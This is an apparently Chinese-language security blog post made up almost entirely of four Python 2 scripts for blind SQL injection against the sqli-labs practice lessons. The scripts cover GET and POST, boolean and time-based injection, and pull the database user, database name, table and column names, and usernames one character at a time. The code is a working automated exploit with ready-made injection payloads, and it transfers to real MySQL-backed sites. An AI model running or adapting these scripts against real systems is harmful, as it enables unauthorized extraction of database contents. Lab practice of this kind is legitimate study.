Automne's Shadow.

MySQL Blind Injection Scripts

2019/03/21 Share

Web

以sqlilabs为例,分别给出mysql数据库的python盲注脚本。

GET型布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

#encoding:utf-8

import requests
import string

payloads = string.letters + string.digits + "~!@#$%^&*()_+"

data = ""

print "Start to retrive data:"
for i in xrange(40):
for payload in payloads:
result = "1' and ascii(substring(user(),%s,1))= %s and '1' like '1" % (i,ord(payload))
#result = "1' and ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))= %s and '1' like '1" % (i,ord(payload))
#result = "1' and ascii(substring((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))= %s and '1' like '1" % (i,ord(payload))
#result = "1' and ascii(substring((select group_concat(username) from users),%s,1))= %s and '1' like '1" % (i,ord(payload))
leo = requests.get("http://192.168.126.146:8080/Less-8/?id=%s" % result)
#print leo.url
resp = leo.content
print ".",
if resp.count("You are in") > 0:
data += payload
print "\n\n[in progress]", data,
break
print "\n\n[Done] output is %s" % data

GET型时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#encoding:utf-8

import requests
import string

payloads = string.letters + string.digits + "~!@#$%^&*()_+"
data = ""

print "Start to retrive data:"
for i in xrange(16):
for payload in payloads:
try:
result = "1' and (select if(ascii(substr(database(),%s,1)) = %s,sleep(3),NULL)) and '1'='1" % (i, ord(payload))
leo = requests.get("http://192.168.126.146:8080/Less-9/?id=%s" % result,timeout=1)
#print leo.url
print ".",
except:
data += payload
print "\n\n[in progress]", data,
break
print "\n\n[Done] output is %s" % data

POST型布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#encoding:utf-8

import requests
import string

payloads = string.letters + string.digits + "~!@#$%^&*()_+"
#headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = ""

print "Start to retrive data:"
for i in xrange(16):
for payload in payloads:
result = "1' or ascii(substring(user(),%s,1))= %s and '1' like '1" % (i,ord(payload))
data0 = {"passwd":"admin","submit":"Submit","uname":result}
leo = requests.post("http://192.168.126.146:8080/Less-15/index.php",data0)
resp = leo.content
print ".",
if resp.count("slap") == 0:
data += payload
print "\n\n[in progress]", data,
break
print "\n\n[Done] output is %s" % data

POST型时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#encoding:utf-8

import requests
import string
import time

payloads = string.letters + string.digits + "~!@#$%^&*()_+"
#headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = ""

print "Start to retrive data:"
for i in xrange(16):
for payload in payloads:
result = "123\") or (select if(ascii(substr(database(),%s,1))=%s,sleep(0.2),NULL))#" % (i,ord(payload))
data0 = {"passwd":"admin","submit":"Submit","uname":result}
start = time.time()
#print start
requests.post("http://192.168.126.146:8080/Less-16/index.php",data0)
now = time.time()
#print now
print ".",
if (now-start) > 0.1:
data += payload
print "\n\n[in progress]", data,
break
print "\n\n[Done] output is %s" % data
CATALOG
  1. 1. GET型布尔盲注
  2. 2. GET型时间盲注
  3. 3. POST型布尔盲注
  4. 4. POST型时间盲注